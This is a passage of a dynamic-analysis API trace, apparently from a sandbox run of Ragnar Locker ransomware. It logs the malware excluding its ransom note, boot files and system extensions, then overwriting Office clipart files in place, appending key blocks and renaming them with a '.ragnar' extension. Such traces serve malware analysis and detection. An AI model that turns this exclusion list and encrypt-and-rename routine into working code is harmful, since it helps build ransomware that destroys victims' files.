ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02793_.WMF", cAlternateFileName="")) returned 1 [0092.326] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.326] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02793_.WMF" | out: lpString1="SO02793_.WMF") returned="SO02793_.WMF" [0092.326] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF") returned=".WMF" [0092.326] lstrcmpiW (lpString1="SO02793_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.326] lstrcmpiW (lpString1="SO02793_.WMF", lpString2="autorun.inf") returned 1 [0092.326] lstrcmpiW (lpString1="SO02793_.WMF", lpString2="boot.ini") returned 1 [0092.326] lstrcmpiW (lpString1="SO02793_.WMF", lpString2="bootfont.bin") returned 1 [0092.326] lstrcmpiW (lpString1="SO02793_.WMF", lpString2="bootsect.bak") returned 1 [0092.326] lstrcmpiW (lpString1="SO02793_.WMF", lpString2="bootmgr") returned 1 [0092.326] lstrcmpiW (lpString1="SO02793_.WMF", lpString2="bootmgr.efi") returned 1 [0092.326] lstrcmpiW (lpString1="SO02793_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.326] lstrcmpiW (lpString1="SO02793_.WMF", lpString2="desktop.ini") returned 1 [0092.326] lstrcmpiW (lpString1="SO02793_.WMF", lpString2="iconcache.db") returned 1 [0092.326] lstrcmpiW (lpString1="SO02793_.WMF", lpString2="ntldr") returned 1 [0092.326] lstrcmpiW (lpString1="SO02793_.WMF", lpString2="ntuser.dat") returned 1 [0092.326] lstrcmpiW (lpString1="SO02793_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.326] lstrcmpiW (lpString1="SO02793_.WMF", lpString2="ntuser.ini") returned 1 [0092.326] lstrcmpiW (lpString1="SO02793_.WMF", lpString2="thumbs.db") returned -1 [0092.326] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.326] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.326] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.326] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.326] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.326] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.326] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf")) returned 0x20 [0092.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.328] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=23408) returned 1 [0092.328] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5b67, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.328] GetProcessHeap () returned 0x580000 [0092.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.328] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.329] VirtualAlloc (lpAddress=0x0, dwSize=0x5b70, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.329] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.329] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.329] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5b70, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5b70, lpOverlapped=0x0) returned 1 [0092.330] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.330] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5b70, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.330] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5b70, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5b70, lpOverlapped=0x0) returned 1 [0092.331] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5b70, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.331] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.331] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5b70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.331] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.331] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.331] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.331] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.331] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.331] GetProcessHeap () returned 0x580000 [0092.331] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.331] CloseHandle (hObject=0xf4) returned 1 [0092.331] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" [0092.331] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF.ragnar_FD7BD9FC" [0092.331] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.332] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02794_.WMF", cAlternateFileName="")) returned 1 [0092.332] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.332] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02794_.WMF" | out: lpString1="SO02794_.WMF") returned="SO02794_.WMF" [0092.332] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF") returned=".WMF" [0092.332] lstrcmpiW (lpString1="SO02794_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.332] lstrcmpiW (lpString1="SO02794_.WMF", lpString2="autorun.inf") returned 1 [0092.332] lstrcmpiW (lpString1="SO02794_.WMF", lpString2="boot.ini") returned 1 [0092.332] lstrcmpiW (lpString1="SO02794_.WMF", lpString2="bootfont.bin") returned 1 [0092.332] lstrcmpiW (lpString1="SO02794_.WMF", lpString2="bootsect.bak") returned 1 [0092.332] lstrcmpiW (lpString1="SO02794_.WMF", lpString2="bootmgr") returned 1 [0092.332] lstrcmpiW (lpString1="SO02794_.WMF", lpString2="bootmgr.efi") returned 1 [0092.332] lstrcmpiW (lpString1="SO02794_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.333] lstrcmpiW (lpString1="SO02794_.WMF", lpString2="desktop.ini") returned 1 [0092.333] lstrcmpiW (lpString1="SO02794_.WMF", lpString2="iconcache.db") returned 1 [0092.333] lstrcmpiW (lpString1="SO02794_.WMF", lpString2="ntldr") returned 1 [0092.333] lstrcmpiW (lpString1="SO02794_.WMF", lpString2="ntuser.dat") returned 1 [0092.333] lstrcmpiW (lpString1="SO02794_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.333] lstrcmpiW (lpString1="SO02794_.WMF", lpString2="ntuser.ini") returned 1 [0092.333] lstrcmpiW (lpString1="SO02794_.WMF", lpString2="thumbs.db") returned -1 [0092.333] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.333] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.333] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.333] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.333] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.333] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.333] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf")) returned 0x20 [0092.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.334] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19322) returned 1 [0092.334] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4b71, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.334] GetProcessHeap () returned 0x580000 [0092.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.334] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.336] VirtualAlloc (lpAddress=0x0, dwSize=0x4b7a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.336] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.336] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.336] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4b7a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4b7a, lpOverlapped=0x0) returned 1 [0092.337] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.337] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4b7a, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.337] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4b7a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4b7a, lpOverlapped=0x0) returned 1 [0092.337] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4b7a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.337] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.337] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4b7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.337] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.338] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.338] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.338] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.338] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.338] GetProcessHeap () returned 0x580000 [0092.338] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.338] CloseHandle (hObject=0xf4) returned 1 [0092.338] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" [0092.338] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF.ragnar_FD7BD9FC" [0092.338] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.339] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1262e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02862_.WMF", cAlternateFileName="")) returned 1 [0092.339] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.339] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02862_.WMF" | out: lpString1="SO02862_.WMF") returned="SO02862_.WMF" [0092.339] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF") returned=".WMF" [0092.339] lstrcmpiW (lpString1="SO02862_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.339] lstrcmpiW (lpString1="SO02862_.WMF", lpString2="autorun.inf") returned 1 [0092.339] lstrcmpiW (lpString1="SO02862_.WMF", lpString2="boot.ini") returned 1 [0092.339] lstrcmpiW (lpString1="SO02862_.WMF", lpString2="bootfont.bin") returned 1 [0092.339] lstrcmpiW (lpString1="SO02862_.WMF", lpString2="bootsect.bak") returned 1 [0092.339] lstrcmpiW (lpString1="SO02862_.WMF", lpString2="bootmgr") returned 1 [0092.339] lstrcmpiW (lpString1="SO02862_.WMF", lpString2="bootmgr.efi") returned 1 [0092.339] lstrcmpiW (lpString1="SO02862_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.339] lstrcmpiW (lpString1="SO02862_.WMF", lpString2="desktop.ini") returned 1 [0092.339] lstrcmpiW (lpString1="SO02862_.WMF", lpString2="iconcache.db") returned 1 [0092.339] lstrcmpiW (lpString1="SO02862_.WMF", lpString2="ntldr") returned 1 [0092.339] lstrcmpiW (lpString1="SO02862_.WMF", lpString2="ntuser.dat") returned 1 [0092.339] lstrcmpiW (lpString1="SO02862_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.339] lstrcmpiW (lpString1="SO02862_.WMF", lpString2="ntuser.ini") returned 1 [0092.339] lstrcmpiW (lpString1="SO02862_.WMF", lpString2="thumbs.db") returned -1 [0092.339] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.339] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.340] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.340] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.340] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.340] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.340] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf")) returned 0x20 [0092.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.340] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=75310) returned 1 [0092.340] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12625, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.340] GetProcessHeap () returned 0x580000 [0092.340] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.340] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.342] VirtualAlloc (lpAddress=0x0, dwSize=0x1262e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.342] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.342] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.342] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1262e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1262e, lpOverlapped=0x0) returned 1 [0092.346] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.346] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1262e, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.346] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1262e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1262e, lpOverlapped=0x0) returned 1 [0092.346] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1262e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.347] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.347] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1262e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.347] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.347] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.347] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.347] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.347] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.347] GetProcessHeap () returned 0x580000 [0092.347] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.347] CloseHandle (hObject=0xf4) returned 1 [0092.348] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" [0092.348] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF.ragnar_FD7BD9FC" [0092.348] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.348] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x967a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02886_.WMF", cAlternateFileName="")) returned 1 [0092.348] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.348] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02886_.WMF" | out: lpString1="SO02886_.WMF") returned="SO02886_.WMF" [0092.348] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft 